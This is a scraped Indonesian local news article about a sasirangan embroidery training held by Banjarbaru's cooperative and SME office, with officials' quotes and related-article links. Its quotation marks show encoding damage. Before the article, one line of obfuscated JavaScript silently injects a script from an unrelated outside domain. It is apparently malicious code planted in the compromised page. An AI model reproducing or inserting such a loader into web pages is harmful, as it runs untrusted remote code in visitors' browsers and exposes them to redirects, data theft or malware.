(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Potensi luar biasa ekonomi kreatif di Banjarbaru terbuka lebar, seperti di industri kerajinan dan sandang, contohnya sasirangan bordir. Membaca peluang itu, Pemkot Banjarbaru menggelar pelatihan pembuatan sasirangan yang diadakan Dinas Koperasi, Usaha Kecil Menengah dan Tenaga Kerja Kota Banjarbaru, di Pos Pembinaan Terpadu (Posbindu), Kelurahan Mentaos, Kecamatan Banjarbaru Utara.
Kabid Kelembagaan KUMKM  Hj Isnawati menyampaikan, kegiatan ini sangat penting untuk dilaksanakan karena sesuai dengan visi misi Pemerintah Kota Banjarbaru.
“Melalui kegiatan ini masyarakat dapat mengetahui tentang pentingnya koperasi dan pelatihan pembuatan sasirangan,†ujarnya.
Dilihat sepintas tampak selaras dengan jenis kain-kain sasirangan lain di Kalimantan Selatan. Namun, kreasi bordir berbagai motif pada kain ini memberikan nilai seni tersendiri, serta pembuatannya menunjukkan bahwa kain ini di buat dengan keterampilan yang tinggi dan bukan sekedar memahami cara untuk membuat kain, namun juga harus memiliki jiwa seni dan budaya lokal.
“Maka kita harapkan, sasirangan bordir kita mampu menjadi tuan rumah di daerah kita sendiri sebagai simbol kebangkitan ekonomi kreatif di Banjarbaru dan sebagai langkah awal untuk mampu eksis di pasar regional, lalu nasional, kemudian di manca negara,†bebernya.
Pelatihan dasar sasirangan ini dapat memberikan suatu manfaat yang lebih baik, selain menambah wawasan bisa dimanfaatkan untuk meningkatkan ekonomi rumah tangga.
“Semakin ibu-ibu terampil, semakin ibu-ibu kreatif, punya inovasi terhadap karyanya tanpa menghilangkan unsur kearifan lokal, maka akan mendapatkan nilai yang baik juga, semakin karyanya baik semakin tinggi nilainya,†ujar Hj Isnawati.
Ketua TP PKK Kota Banjarbaru Hj Ririen Nadjmi Adhani mengatakan, pelaksanaan kegiatan ini bertujuan untuk membenahi kelompok Usaha Mikro, Kecil, dan Menengah.
“Output yang diharapkan adalah terbentuknya kelembagaan lokal menuju kemandirian masyarakat terutama para pelaku usaha mikro, kecil, dan menengah,†ujarnya.
Kegiatan ini untuk meningkatkan keterampilan usaha yang berdaya saing dan manfaat ekonomi yang besar.
“Karena bidang pembuatan kain sasirangan sebagai bagian dari usaha peningkatan pendapatan masyarakat,†katanya.
“Kaum muda juga bisa belajar tentang pembuatan sasirangan, jangan hanya cuma ibu-ibunya saja. Jadi kedepan para generasi muda kita bisa terus menjaga warisan budaya daerah kita,†pungkasnya. (bie)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.